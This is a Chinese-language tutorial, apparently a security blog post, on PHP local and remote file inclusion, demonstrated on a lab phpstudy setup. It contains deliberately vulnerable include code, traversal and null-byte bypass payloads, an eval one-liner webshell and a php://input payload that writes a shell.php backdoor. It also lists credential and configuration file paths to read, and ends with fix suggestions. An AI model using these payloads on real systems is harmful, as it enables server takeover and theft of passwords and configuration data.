文件包含漏洞(File Inclusion Vulnerability)是指应用程序中存在的一种安全漏洞,攻击者通过利用该漏洞可以在应用程序中执行任意代码。文件包含漏洞通常出现在动态网页中,攻击者通过在URL中注入恶意代码,使应用程序将恶意代码作为正常代码执行。这种漏洞的危害性很大,攻击者可以利用该漏洞窃取敏感信息、篡改数据、控制服务器等。
这是较为官方的一个解释,其实用我们自己的话解释就是:开发人员在开发程序的时候,每次都需要使用某一个或者是某几个文件中的代码,这样很不方便,为了这个方便性,他会将被包含的文件设置成为一个变量,然后这样的话就可以非常方便的调用这些文件。但是开发人员只考虑到了调用的方便性,没有考虑用户是否也可以调用这些文件,当然也就没有做任何的限制,这就导致了攻击者会去利用这个特征进行一些恶意操作。需要注意的是文件包含本身其实没有漏洞的,这是属于开发人员的疏忽而导致的。
<?php
$file=$_GET['file'];
include($file);
?>
这段代码的意思是GET传参,赋值给变量file,然后包含这个变量file,而GET传进来的参数必须是我们的WWW目录下有的参数,如果没有则会报错,如下图所示
因为是在本地搭建,那么我们就在www目录下创建1.txt文件,其中写入这个phpinfo代码语句
<?php phpinfo();?>
然后进行访问:
我们可以看到文件1.txt中的代码会被当做php文件进行了执行。这就是简单的一个文件包含漏洞。如果在实战中你的信息收集做的足够到位,收集的内容也足够的多,知道他的什么目录下有什么文件,那么我们是否可以读取他的这些文件,我们将1.txt文件复制到phpstudy下的Extensions中,这次我们再进行访问
如图所示,也是可以将其中的代码进行解析(握糙,phpstudy中的内容不保),那么我们是否可以再退一级,读取他的D盘上的内容呢?我们再将1.txt文件复制到D盘下,这时我们就需要退两级,然后访问 注:../是向上退一级
如图所示,,也是可以将其中的代码进行解析的(握草,D盘内容不保),来点更狠的,那么我们再退一级是否可以访问到C盘上的内容呢?我们再把1.txt文件复制到C盘中,这时我们需要退三级,然后访问
我们会发现报错了,不是因为写的有问题,而是这种写法存在一些问题,可能会导致不可预期的行为,这种写法依赖于当前工作目录,如果工作目录发生变化,可能会导致文件读取失败或读取到错误的文件。因此,建议使用绝对路径。file=C:/1.txt
如图所示,,也是可以将其中的代码进行解析的(握草,C盘内容不保),当然,有些人直接将phpstudy安装在了C盘,不需要跨盘,直接就可以访问。
看到这里其实你应该思考到了这个漏洞的危害,当我们包含的文件中不是php代码,而是一些内容,那么他将会把其中的内容进行读取。我们创建一个2.txt文件,文件中写入一些内容,然后访问
如图所示,他是将文件中的内容进行了一个读取,这样的话,weindows中或者linux中那些存放敏感文件,以及配置文件的文件是否安全?那肯定是全部泄露。(Windows和Linux中存放敏感文件的目录见文章结尾处)
上述说明的就是一个无限制的本地包含漏洞,如果其中的代码不解析,那么只能进行读取。
假如在真实网站中存在这个本地包含漏洞,你想利用得知道文件的名字以及路径(可以看url中的显示,也可以通过目录扫描得知),否则将无法利用,如果其中没有脚本代码文件,那么你只能进行读取文件,而不能进行解析,此处需要你配合其他漏洞进行利用了,如文件上传漏洞,上传一个对应的脚本文件(一句话木马),然后包含他,用shell管理工具:菜刀或者蚁剑进行连接。他没有其他漏洞,或者你得不到文件名字以及路径,即使有漏洞影响也不大,由此可见,其利用难度是挺高的。
接下来我们看一下有限制的本地包含漏洞,也就是说开发人员知道自己这样调用可能会导致包含漏洞的产生,于是做了一些限制,但是他没有想到的是这些限制可以进行绕过,绕过了就和无限制的本地包含漏洞一样了
<?php
$file=$_GET['file'];
include($file.".html");
?>
以上代码的意思是GET传参,赋值给file和.html进行连接,然后包含。也就是说用户传进来的变量file的后缀会加上html,比如我们还是包含1.txt文件,那么最后他的后缀就会变为1.txt.html,这样的后缀是以最后一个为准,是.html文件,这样也可以进行一个有效防御,我们来访问一下
如图所示,他会提示我们这个文件不存在,是可以在一定程度上防止文件包含漏洞的产生,那么我们是可以进行绕过的,只用于php版本低于5.3的,高于5.3无法用以下方法绕过,高于5.3版本就可能需要配合别的漏洞进行下一步操作了,懂安全的开发真的很加分。我们将php版本切到5.3以下进行演示
如图所示,在我们增加了%00截断,他也是可以进行一个解析,当然这种方法也是有限制条件的,php版本必须得低于5.3以下,magic_quotes_gpc=off(其处于关闭状态),当然我们也可以使用长度截断,在1.txt后面一直加......或者是./././等等进行绕过。
如图所示的绕过,这个条件需要满足的是只有php版本低于5.3,magic_quotes_gpc=off(其处于什么状态都是没有影响的)
使用长度截断Windows系统长度需要高于256位,Linux系统长度要高于4096位
以上所述就是本地包含的两种情况——————有限制的、无限制的。有限制的绕过需要明白其满足条件,而且有限制的话,我们一般情况下是很难去猜到他到底用了什么限制,当然他有可能报错的时候会爆出来是用了什么,如图所示,如果他的回显中没有,其利用难度可想而知。
远程包含漏洞是有函数进行限制,如果代码函数限制了远程包含,那么就只能是本地包含,而且其中的某些设置也是需要开启的。
如图所示,需要是On才可以进行远程包含,我们为了方便测试,直接把192.168.1.36(受害者电脑)这个参数打开,先来看一下无限制的远程包含漏洞,
<?php
$file=$_GET['file'];
include($file);
?>
这时,攻击者在phpstudy里面的WWW目录创建1.txt文件,然后写上phpinfo代码,然后用受害者IP去远程包含攻击者的1.txt文件(两台电脑在同一个局域网,都是基于phpstudy进行演示)
如图所示,那么如果攻击者在他的1.txt文件写上一句话木马呢,然后用菜刀或者蚁剑去连,是否就可以达到一个远控的目的
<?php @eval($_POST[x])?>
如图所示,连接成功。
<?php
$file=$_GET['file'];
include($file.".html");
?>
这样的话在我们连接的时候就会出现问题,因为这个file后面会强制加上.html
同样我们进行绕过,这种绕过方式和我们的本地包含漏洞有所不同,可以直接在url中1.txt后面直接加?、%23或者%20,长度截断在此处不适用,%00也可以。
如图所示,可以执行成功,因为1.txt里面是一句话木马,执行不显示,所以我又加了121212这些数字。以上就是远程包含漏洞的两种方式,远程包含漏洞对php版本有要求,需要5.3以下版本,远程包含漏洞我们其实可以理解为是本地包含漏洞开启了某些配置,所以都是差不多的。
远程包含漏洞还可以结合伪协议去进行利用(伪协议是一种特殊的URL协议,它不是真正的网络协议,而是被用于访问本地文件系统或执行特定的操作。),先来了解一下各种脚本语言支持的伪协议,因为文件包含漏洞的产生和脚本语言没有关系,所以他不止是发生在php脚本语言中,他也有可能在JAVA,curl脚本语言中产生 以下就是各种脚本支持的协议情况
以下是php支持的各种协议
先来搞一个fileter协议
php://filter/read=convert.base64-encode/resource=[文件名]
http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php
以上是一个base64编码,所以还需要进行解码,解码后的内容就是文件的内容
php://input + [POST DATA]
http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php phpinfo(); ?>
http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>
这个是可以实现写入一个后门文件,然后用shell管理工具进行连接。
C:\boot.ini //查看系统版本 C:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件 C:\windows\repair\sam //存储Windows系统初次安装的密码 C:\ProgramFiles\mysql\my.ini //Mysql配置 C:\ProgramFiles\mysql\data\mysql\user.MYD //MySQL root密码 C:\windows\php.ini //php配置信息
/etc/password //账户信息 /etc/shadow //账户密码信息 /usr/local/app/apache2/conf/httpd.conf //Apache2默认配置文件 /usr/local/app/apache2/conf/extra/httpd-vhost.conf //虚拟网站配置 /usr/local/app/php5/lib/php.ini //PHP相关配置 /etc/httpd/conf/httpd.conf //Apache配置文件 /etc/my.conf //mysql配置文件
就详细描述一个伪协议,具体情况请参考 https://www.cnblogs.com/endust/p/11804767.html
以上就是文件包含漏洞所有的内容,通过以上的介绍,我们可以看出文件包含漏洞利用难度,也可以根据他的原理提出修复建议:1、可以限制用户访问文件的权限;2、include函数中的参数用户是否可控,如果可控,则要限制;3、增加过滤,对用户输入的敏感参数进行过滤;4、配置文件中不必要开的参数设置为OFF等等,希望本文能对你有所帮助,星光安全面向基础